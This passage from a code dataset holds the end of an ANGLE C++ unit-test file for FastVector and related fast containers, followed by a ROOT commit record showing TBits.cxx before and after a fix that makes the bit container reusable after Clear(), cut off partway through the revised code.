found in the LICENSE file.\n\/\/\n\/\/ FixedVector_unittest:\n\/\/   Tests of the FastVector class\n\/\/\n\n#include <gtest\/gtest.h>\n\n#include \"common\/FastVector.h\"\n\nnamespace angle\n{\n\/\/ Make sure the various constructors compile and do basic checks\nTEST(FastVector, Constructors)\n{\n    FastVector<int, 5> defaultContructor;\n    EXPECT_EQ(0u, defaultContructor.size());\n\n    FastVector<int, 5> count(3);\n    EXPECT_EQ(3u, count.size());\n\n    FastVector<int, 5> countAndValue(3, 2);\n    EXPECT_EQ(3u, countAndValue.size());\n    EXPECT_EQ(2, countAndValue[1]);\n\n    FastVector<int, 5> copy(countAndValue);\n    EXPECT_EQ(copy, countAndValue);\n\n    FastVector<int, 5> copyRValue(std::move(count));\n    EXPECT_EQ(3u, copyRValue.size());\n\n    FastVector<int, 5> initializerList{1, 2, 3, 4, 5};\n    EXPECT_EQ(5u, initializerList.size());\n    EXPECT_EQ(3, initializerList[2]);\n\n    FastVector<int, 5> assignCopy(copyRValue);\n    EXPECT_EQ(3u, assignCopy.size());\n\n    FastVector<int, 5> assignRValue(std::move(assignCopy));\n    EXPECT_EQ(3u, assignRValue.size());\n\n    FastVector<int, 5> assignmentInitializerList = {1, 2, 3, 4, 5};\n    EXPECT_EQ(5u, assignmentInitializerList.size());\n    EXPECT_EQ(3, assignmentInitializerList[2]);\n}\n\n\/\/ Test indexing operations (at, operator[])\nTEST(FastVector, Indexing)\n{\n    FastVector<int, 5> vec = {0, 1, 2, 3, 4};\n    for (int i = 0; i < 5; ++i)\n    {\n        EXPECT_EQ(i, vec.at(i));\n        EXPECT_EQ(vec[i], vec.at(i));\n    }\n}\n\n\/\/ Test the push_back functions\nTEST(FastVector, PushBack)\n{\n    FastVector<int, 5> vec;\n    vec.push_back(1);\n    EXPECT_EQ(1, vec[0]);\n    vec.push_back(1);\n    vec.push_back(1);\n    vec.push_back(1);\n    vec.push_back(1);\n    EXPECT_EQ(5u, vec.size());\n}\n\n\/\/ Tests growing the fast vector beyond the fixed storage.\nTEST(FastVector, Growth)\n{\n    constexpr size_t kSize = 4;\n    FastVector<size_t, kSize> vec;\n\n    for (size_t i = 0; i < kSize * 2; ++i)\n    {\n        vec.push_back(i);\n    }\n\n    EXPECT_EQ(kSize * 2, vec.size());\n\n    for (size_t i = kSize * 2; i > 0; --i)\n    {\n        ASSERT_EQ(vec.back(), i - 1);\n        vec.pop_back();\n    }\n\n    EXPECT_EQ(0u, vec.size());\n}\n\n\/\/ Test the pop_back function\nTEST(FastVector, PopBack)\n{\n    FastVector<int, 5> vec;\n    vec.push_back(1);\n    EXPECT_EQ(1, (int)vec.size());\n    vec.pop_back();\n    EXPECT_EQ(0, (int)vec.size());\n}\n\n\/\/ Test the back function\nTEST(FastVector, Back)\n{\n    FastVector<int, 5> vec;\n    vec.push_back(1);\n    vec.push_back(2);\n    EXPECT_EQ(2, vec.back());\n}\n\n\/\/ Test the back function\nTEST(FastVector, Front)\n{\n    FastVector<int, 5> vec;\n    vec.push_back(1);\n    vec.push_back(2);\n    EXPECT_EQ(1, vec.front());\n}\n\n\/\/ Test the sizing operations\nTEST(FastVector, Size)\n{\n    FastVector<int, 5> vec;\n    EXPECT_TRUE(vec.empty());\n    EXPECT_EQ(0u, vec.size());\n\n    vec.push_back(1);\n    EXPECT_FALSE(vec.empty());\n    EXPECT_EQ(1u, vec.size());\n}\n\n\/\/ Test clearing the vector\nTEST(FastVector, Clear)\n{\n    FastVector<int, 5> vec = {0, 1, 2, 3, 4};\n    vec.clear();\n    EXPECT_TRUE(vec.empty());\n}\n\n\/\/ Test clearing the vector larger than the fixed size.\nTEST(FastVector, ClearWithLargerThanFixedSize)\n{\n    FastVector<int, 3> vec = {0, 1, 2, 3, 4};\n    vec.clear();\n    EXPECT_TRUE(vec.empty());\n}\n\n\/\/ Test resizing the vector\nTEST(FastVector, Resize)\n{\n    FastVector<int, 5> vec;\n    vec.resize(5u, 1);\n    EXPECT_EQ(5u, vec.size());\n    for (int i : vec)\n    {\n        EXPECT_EQ(1, i);\n    }\n\n    vec.resize(2u);\n    EXPECT_EQ(2u, vec.size());\n    for (int i : vec)\n    {\n        EXPECT_EQ(1, i);\n    }\n\n    \/\/ Resize to larger than minimum\n    vec.resize(10u, 2);\n    EXPECT_EQ(10u, vec.size());\n\n    for (size_t index = 0; index < 2u; ++index)\n    {\n        EXPECT_EQ(1, vec[index]);\n    }\n    for (size_t index = 2u; index < 10u; ++index)\n    {\n        EXPECT_EQ(2, vec[index]);\n    }\n\n    \/\/ Resize back to smaller\n    vec.resize(2u, 2);\n    EXPECT_EQ(2u, vec.size());\n}\n\n\/\/ Test iterating over the vector\nTEST(FastVector, Iteration)\n{\n    FastVector<int, 5> vec = {0, 1, 2, 3};\n\n    int vistedCount = 0;\n    for (int value : vec)\n    {\n        EXPECT_EQ(vistedCount, value);\n        vistedCount++;\n    }\n    EXPECT_EQ(4, vistedCount);\n}\n\n\/\/ Tests that equality comparisons work even if reserved size differs.\nTEST(FastVector, EqualityWithDifferentReservedSizes)\n{\n    FastVector<int, 3> vec1 = {1, 2, 3, 4, 5};\n    FastVector<int, 5> vec2 = {1, 2, 3, 4, 5};\n    EXPECT_EQ(vec1, vec2);\n    vec2.push_back(6);\n    EXPECT_NE(vec1, vec2);\n}\n\n\/\/ Tests vector operations with a non copyable type.\nTEST(FastVector, NonCopyable)\n{\n    struct s : angle::NonCopyable\n    {\n        s() : x(0) {}\n        s(int xin) : x(xin) {}\n        s(s &&other) : x(other.x) {}\n        s &operator=(s &&other)\n        {\n            x = other.x;\n            return *this;\n        }\n        int x;\n    };\n\n    FastVector<s, 3> vec;\n    vec.push_back(3);\n    EXPECT_EQ(3, vec[0].x);\n\n    FastVector<s, 3> copy = std::move(vec);\n    EXPECT_EQ(1u, copy.size());\n    EXPECT_EQ(3, copy[0].x);\n}\n\n\/\/ Basic functionality for FastUnorderedMap\nTEST(FastUnorderedMap, BasicUsage)\n{\n    FastUnorderedMap<int, bool, 3> testMap;\n    EXPECT_TRUE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 0u);\n\n    testMap.insert(5, true);\n    EXPECT_TRUE(testMap.contains(5));\n    EXPECT_EQ(testMap.size(), 1u);\n\n    bool value = false;\n    EXPECT_TRUE(testMap.get(5, &value));\n    EXPECT_TRUE(value);\n    EXPECT_FALSE(testMap.get(6, &value));\n\n    EXPECT_FALSE(testMap.empty());\n    testMap.clear();\n    EXPECT_TRUE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 0u);\n\n    for (int i = 0; i < 10; ++i)\n    {\n        testMap.insert(i, false);\n    }\n\n    EXPECT_FALSE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 10u);\n\n    for (int i = 0; i < 10; ++i)\n    {\n        EXPECT_TRUE(testMap.contains(i));\n        EXPECT_TRUE(testMap.get(i, &value));\n        EXPECT_FALSE(value);\n    }\n}\n\n\/\/ Basic functionality for FastUnorderedSet\nTEST(FastUnorderedSet, BasicUsage)\n{\n    FastUnorderedSet<int, 3> testMap;\n    EXPECT_TRUE(testMap.empty());\n\n    testMap.insert(5);\n    EXPECT_TRUE(testMap.contains(5));\n    EXPECT_FALSE(testMap.contains(6));\n    EXPECT_FALSE(testMap.empty());\n\n    testMap.clear();\n    EXPECT_TRUE(testMap.empty());\n\n    for (int i = 0; i < 10; ++i)\n    {\n        testMap.insert(i);\n    }\n\n    for (int i = 0; i < 10; ++i)\n    {\n        EXPECT_TRUE(testMap.contains(i));\n    }\n}\n\n\/\/ Basic functionality for FastIntegerSet\nTEST(FastIntegerSet, BasicUsage)\n{\n    FastIntegerSet testMap;\n    EXPECT_TRUE(testMap.empty());\n\n    testMap.insert(5);\n    EXPECT_TRUE(testMap.contains(5));\n    EXPECT_FALSE(testMap.contains(6));\n    EXPECT_FALSE(testMap.empty());\n\n    testMap.clear();\n    EXPECT_TRUE(testMap.empty());\n\n    for (int i = 0; i < 10; ++i)\n    {\n        testMap.insert(i);\n    }\n\n    for (int i = 0; i < 10; ++i)\n    {\n        EXPECT_TRUE(testMap.contains(i));\n    }\n}\n\n\/\/ Basic functionality for FastIntegerMap\nTEST(FastIntegerMap, BasicUsage)\n{\n    using KeyValuePair             = std::pair<int, std::string>;\n    std::set<KeyValuePair> entries = {KeyValuePair(17, \"testing\"), KeyValuePair(63, \"fast\"),\n                                      KeyValuePair(97, \"integer\"), KeyValuePair(256, \"map\")};\n\n    FastIntegerMap<std::string> testMap;\n    EXPECT_TRUE(testMap.empty());\n\n    std::string str;\n    testMap.insert(entries.begin()->first, entries.begin()->second);\n    EXPECT_TRUE(testMap.contains(entries.begin()->first));\n    EXPECT_FALSE(testMap.contains(entries.rbegin()->first));\n    EXPECT_FALSE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 1u);\n    EXPECT_TRUE(testMap.get(entries.begin()->first, &str));\n    EXPECT_EQ(entries.begin()->second, str);\n    EXPECT_FALSE(testMap.get(1, &str));\n\n    testMap.clear();\n    EXPECT_TRUE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 0u);\n\n    for (KeyValuePair entry : entries)\n    {\n        testMap.insert(entry.first, entry.second);\n    }\n    EXPECT_EQ(testMap.size(), 4u);\n\n    for (KeyValuePair entry : entries)\n    {\n        std::string str;\n        EXPECT_TRUE(testMap.get(entry.first, &str));\n        EXPECT_EQ(entry.second, str);\n    }\n\n    testMap.clear();\n    EXPECT_TRUE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 0u);\n}\n}  \/\/ namespace angle\n<|endoftext|>"}
{"text":"<commit_before>\/\/ @(#)root\/base:$Name:  $:$Id: TBits.cxx,v 1.11 2003\/02\/11 20:25:08 brun Exp $\n\/\/ Author: Philippe Canal 05\/02\/2001\n\/\/    Feb  5 2001: Creation\n\/\/    Feb  6 2001: Changed all int to unsigned int.\n\/\/______________________________________________________________________________\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TBits                                                                \/\/\n\/\/                                                                      \/\/\n\/\/ Container of bits                                                    \/\/\n\/\/                                                                      \/\/\n\/\/ This class provides a simple container of bits.                      \/\/\n\/\/ Each bit can be set and tested via the functions SetBitNumber and    \/\/\n\/\/ TestBitNumber.                                             .         \/\/\n\/\/ The default value of all bits is kFALSE.                             \/\/\n\/\/ The size of the container is automatically extended when a bit       \/\/\n\/\/ number is either set or tested.  To reduce the memory size of the    \/\/\n\/\/ container use the Compact function, this will discard the memory     \/\/\n\/\/ occupied by the upper bits that are 0.                               \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"TBits.h\"\n#include \"string.h\"\n\nClassImp(TBits)\n\n\/\/______________________________________________________________________________\nTBits::TBits(UInt_t nbits) : fNbits(nbits)\n{\n   \/\/ TBits constructor.  All bits set to 0\n\n   if (nbits <= 0) nbits = 8;\n   fNbytes  = ((nbits-1)\/8) + 1;\n   fAllBits = new UChar_t[fNbytes];\n   \/\/ this is redundant only with libNew\n   memset(fAllBits,0,fNbytes);\n}\n\n\/\/______________________________________________________________________________\nTBits::TBits(const TBits &original) : TObject(original), fNbits(original.fNbits),\n   fNbytes(original.fNbytes)\n{\n   \/\/ TBits copy constructor\n\n   fAllBits = new UChar_t[fNbytes];\n   memcpy(fAllBits,original.fAllBits,fNbytes);\n\n}\n\n\/\/______________________________________________________________________________\nTBits& TBits::operator=(const TBits& rhs)\n{\n   \/\/ TBits assignment operator\n\n   if (this != &rhs) {\n      TObject::operator=(rhs);\n      fNbits   = rhs.fNbits;\n      fNbytes  = rhs.fNbytes;\n      delete [] fAllBits;\n      fAllBits = new UChar_t[fNbytes];\n      memcpy(fAllBits,rhs.fAllBits,fNbytes);\n   }\n   return *this;\n}\n\n\/\/______________________________________________________________________________\nTBits::~TBits()\n{\n   \/\/ TBits destructor\n\n   delete [] fAllBits;\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::Clear(Option_t * \/*option*\/)\n{\n   delete [] fAllBits;\n   fAllBits = 0;\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::Compact()\n{\n   \/\/ Reduce the storage used by the object to a minimun\n\n   UInt_t needed;\n   for(needed=fNbytes-1;\n       needed > 0 && fAllBits[needed]==0; ) { needed--; };\n   needed++;\n\n   if (needed!=fNbytes) {\n      UChar_t *old_location = fAllBits;\n      fAllBits = new UChar_t[needed];\n\n      memcpy(fAllBits,old_location,needed);\n      delete [] old_location;\n\n      fNbytes = needed;\n      fNbits = 8*fNbytes;\n   }\n}\n\n\/\/______________________________________________________________________________\nUInt_t TBits::CountBits(UInt_t startBit) const\n{\n   \/\/ Return number of bits set to 1 starting at bit startBit\n\n   const Int_t nbits[256] = {\n             0,1,1,2,1,2,2,3,1,2,2,3,2,3,3,4,\n             1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,\n             1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,\n             1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,\n             3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,\n             4,5,5,6,5,6,6,7,5,6,6,7,6,7,7,8};\n\n   UInt_t i,count = 0;\n   if (startBit == 0) {\n      for(i=0; i<fNbytes; i++) {\n         count += nbits[fAllBits[i]];\n      }\n      return count;\n   }\n   if (startBit >= fNbits) return count;\n   UInt_t startByte = startBit\/8;\n   UInt_t ibit = startBit%8;\n   if (ibit) {\n      for (i=ibit;i<8;i++) {\n         if (fAllBits[startByte] & (1<<ibit)) count++;\n      }\n      startByte++;\n   }\n   for(i=startByte; i<fNbytes; i++) {\n      count += nbits[fAllBits[i]];\n   }\n   return count;\n}\n\n\/\/______________________________________________________________________________\nUInt_t TBits::FirstNullBit(UInt_t startBit) const\n{\n   \/\/ Return position of first null bit\n\n   const Int_t fbits[256] = {\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,5,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,6,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,5,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,7,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,5,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,6,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,5,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,8};\n\n   UInt_t i;\n   if (startBit == 0) {\n      for(UInt_t i=0; i<fNbytes; i++) {\n         if (fAllBits[i] != 255) return 8*i + fbits[fAllBits[i]];\n      }\n      return fNbits;\n   }\n   if (startBit >= fNbits) return fNbits;\n   UInt_t startByte = startBit\/8;\n   UInt_t ibit = startBit%8;\n   if (ibit) {\n      for (i=ibit;i<8;i++) {\n         if ((fAllBits[startByte] & (1<<i)) == 0) return 8*startByte+i;\n      }\n      startByte++;\n   }\n   for(i=startByte; i<fNbytes; i++) {\n      if (fAllBits[i] != 255) return 8*i + fbits[fAllBits[i]];\n   }\n   return fNbits;\n}\n\n\/\/______________________________________________________________________________\nUInt_t TBits::FirstSetBit(UInt_t startBit) const\n{\n   \/\/ Return position of first non null bit\n\n   const Int_t fbits[256] = {\n             8,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             6,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             7,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             6,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0};\n\n   UInt_t i;\n   if (startBit == 0) {\n      for(UInt_t i=0; i<fNbytes; i++) {\n         if (fAllBits[i] != 0) return 8*i + fbits[fAllBits[i]];\n      }\n      return fNbits;\n   }\n   if (startBit >= fNbits) return fNbits;\n   UInt_t startByte = startBit\/8;\n   UInt_t ibit = startBit%8;\n   if (ibit) {\n      for (i=ibit;i<8;i++) {\n         if ((fAllBits[startByte] & (1<<i)) != 0) return 8*startByte+i;\n      }\n      startByte++;\n   }\n   for(i=startByte; i<fNbytes; i++) {\n      if (fAllBits[i] != 0) return 8*i + fbits[fAllBits[i]];\n   }\n   return fNbits;\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::Paint(Option_t *)\n{\n   \/\/ Once implemented, it will draw the bit field as an histogram.\n   \/\/ use the TVirtualPainter as the usual trick\n\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::Print(Option_t *) const\n{\n   \/\/ Print the list of active bits\n\n   Int_t count = 0;\n   for(UInt_t i=0; i<fNbytes; i++) {\n      UChar_t val = fAllBits[i];\n      for (UInt_t j=0; j<8; j++) {\n         if (val & 1) printf(\" bit:%4d = 1\\n\",count);\n         count++;\n         val = val >> 1;\n      }\n   }\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::ResetAllBits(Bool_t)\n{\n   \/\/ Reset all bits to 0 (false).\n\n   memset(fAllBits,0,fNbytes);\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::SetBitNumber(UInt_t bitnumber, Bool_t value)\n{\n   \/\/ Set bit number 'bitnumber' to be value\n\n   if (bitnumber >= fNbits) {\n      UInt_t new_size = (bitnumber\/8) + 1;\n      if (new_size > fNbytes) {\n         UChar_t *old_location = fAllBits;\n         fAllBits = new UChar_t[new_size];\n         memcpy(fAllBits,old_location,fNbytes);\n         memset(fAllBits+fNbytes ,0, new_size-fNbytes);\n         fNbytes = new_size;\n         delete [] old_location;\n      }\n      fNbits = bitnumber+1;\n   }\n   UInt_t  loc = bitnumber\/8;\n   UChar_t bit = bitnumber%8;\n   if (value)\n      fAllBits[loc] |= (1<<bit);\n   else\n      fAllBits[loc] &= (0xFF ^ (1<<bit));\n}\n\n\/\/______________________________________________________________________________\nBool_t TBits::TestBitNumber(UInt_t bitnumber) const\n{\n   \/\/ Return the current value of the bit\n\n   if (bitnumber >= fNbits) return kFALSE;\n   UInt_t  loc = bitnumber\/8;\n   UChar_t value = fAllBits[loc];\n   UChar_t bit = bitnumber%8;\n   Bool_t  result = (value & (1<<bit)) != 0;\n   return result;\n   \/\/ short: return 0 != (fAllBits[bitnumber\/8] & (1<< (bitnumber%8)));\n}\n\n<commit_msg>Add a few protections such that the object can be reused after TBits::Clear. TBits::Clear sets fNbits and fNbytes to 0.<commit_after>\/\/ @(#)root\/base:$Name:  $:$Id: TBits.cxx,v 1.12 2004\/01\/06 08:27:33 brun Exp $\n\/\/ Author: Philippe Canal 05\/02\/2001\n\/\/    Feb  5 2001: Creation\n\/\/    Feb  6 2001: Changed all int to unsigned int.\n\/\/______________________________________________________________________________\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TBits                                                                \/\/\n\/\/                                                                      \/\/\n\/\/ Container of bits                                                    \/\/\n\/\/                                                                      \/\/\n\/\/ This class provides a simple container of bits.                      \/\/\n\/\/ Each bit can be set and tested via the functions SetBitNumber and    \/\/\n\/\/ TestBitNumber.                                             .         \/\/\n\/\/ The default value of all bits is kFALSE.                             \/\/\n\/\/ The size of the container is automatically extended when a bit       \/\/\n\/\/ number is either set or tested.  To reduce the memory size of the    \/\/\n\/\/ container use the Compact function, this will discard the memory     \/\/\n\/\/ occupied by the upper bits that are 0.                               \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"TBits.h\"\n#include \"string.h\"\n\nClassImp(TBits)\n\n\/\/______________________________________________________________________________\nTBits::TBits(UInt_t nbits) : fNbits(nbits)\n{\n   \/\/ TBits constructor.  All bits set to 0\n\n   if (nbits <= 0) nbits = 8;\n   fNbytes  = ((nbits-1)\/8) + 1;\n   fAllBits = new UChar_t[fNbytes];\n   \/\/ this is redundant only with libNew\n   memset(fAllBits,0,fNbytes);\n}\n\n\/\/______________________________________________________________________________\nTBits::TBits(const TBits &original) : TObject(original), fNbits(original.fNbits),\n   fNbytes(original.fNbytes)\n{\n   \/\/ TBits copy constructor\n\n   fAllBits = new UChar_t[fNbytes];\n   memcpy(fAllBits,original.fAllBits,fNbytes);\n\n}\n\n\/\/______________________________________________________________________________\nTBits& TBits::operator=(const TBits& rhs)\n{\n   \/\/ TBits assignment operator\n\n   if (this != &rhs) {\n      TObject::operator=(rhs);\n      fNbits   = rhs.fNbits;\n      fNbytes  = rhs.fNbytes;\n      delete [] fAllBits;\n      fAllBits = new UChar_t[fNbytes];\n      memcpy(fAllBits,rhs.fAllBits,fNbytes);\n   }\n   return *this;\n}\n\n\/\/______________________________________________________________________________\nTBits::~TBits()\n{\n   \/\/ TBits destructor\n\n   delete [] fAllBits;\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::Clear(Option_t * \/*option*\/)\n{\n   delete [] fAllBits;\n   fAllBits = 0;\n   fNbits   = 0;\n   fNbytes  = 0;\n}\n\n\/\/______________________________________________________________________________\nvoid TBits::Compact()\n{\n   \/\/ Reduce the storage used by the object to a minimun\n\n   if (!fNbits || !fAllBits) return;\n   UInt_t needed;\n   for(needed=fNbytes-1;\n       needed > 0 && fAllBits[needed]==0; ) { needed--; };\n   needed++;\n\n   if (needed!=fNbytes) {\n      UChar_t *old_location = fAllBits;\n      fAllBits = new UChar_t[needed];\n\n      memcpy(fAllBits,old_location,needed);\n      delete [] old_location;\n\n      fNbytes = needed;\n      fNbits = 8*fNbytes;\n   }\n}\n\n\/\/______________________________________________________________________________\nUInt_t TBits::CountBits(UInt_t startBit) const\n{\n   \/\/ Return number of bits set to 1 starting at bit startBit\n\n   const Int_t nbits[256] = {\n             0,1,1,2,1,2,2,3,1,2,2,3,2,3,3,4,\n             1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,\n             1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,\n             1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,\n             2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,\n             3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,\n             3,4,4,5,4,5,5,6,4,5,5,6,5,6,6,7,\n             4,5,5,6,5,6,6,7,5,6,6,7,6,7,7,8};\n\n   UInt_t i,count = 0;\n   if (startBit == 0) {\n      for(i=0; i<fNbytes; i++) {\n         count += nbits[fAllBits[i]];\n      }\n      return count;\n   }\n   if (startBit >= fNbits) return count;\n   UInt_t startByte = startBit\/8;\n   UInt_t ibit = startBit%8;\n   if (ibit) {\n      for (i=ibit;i<8;i++) {\n         if (fAllBits[startByte] & (1<<ibit)) count++;\n      }\n      startByte++;\n   }\n   for(i=startByte; i<fNbytes; i++) {\n      count += nbits[fAllBits[i]];\n   }\n   return count;\n}\n\n\/\/______________________________________________________________________________\nUInt_t TBits::FirstNullBit(UInt_t startBit) const\n{\n   \/\/ Return position of first null bit\n\n   const Int_t fbits[256] = {\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,5,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,6,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,5,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,7,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,5,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,6,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,5,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,4,\n             0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,8};\n\n   UInt_t i;\n   if (startBit == 0) {\n      for(UInt_t i=0; i<fNbytes; i++) {\n         if (fAllBits[i] != 255) return 8*i + fbits[fAllBits[i]];\n      }\n      return fNbits;\n   }\n   if (startBit >= fNbits) return fNbits;\n   UInt_t startByte = startBit\/8;\n   UInt_t ibit = startBit%8;\n   if (ibit) {\n      for (i=ibit;i<8;i++) {\n         if ((fAllBits[startByte] & (1<<i)) == 0) return 8*startByte+i;\n      }\n      startByte++;\n   }\n   for(i=startByte; i<fNbytes; i++) {\n      if (fAllBits[i] != 255) return 8*i + fbits[fAllBits[i]];\n   }\n   return fNbits;\n}\n\n\/\/______________________________________________________________________________\nUInt_t TBits::FirstSetBit(UInt_t startBit) const\n{\n   \/\/ Return position of first non null bit\n\n   const Int_t fbits[256] = {\n             8,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             6,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             7,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             6,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             5,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0,\n             4,0,1,0,2,0,1,0,3,0,1,0,2,0,1,0};\n\n   UInt_t i;\n   if (startBit == 0) {\n      for(UInt_t i=0; i<fNbytes; i++) {\n         if (fAllBits[i] != 0) return 8*i + fbits[fAllBits[i]];\n      }\n      return fNbits;\n   }\n   if (startBit >= fNbits) return fNbits;\n   UInt_t startByte = startBit\/8;\n   UInt_t ibit = startBit%8;\n   if (ibit) {\n      for (i=ibit;i<8;i++) {\n         if 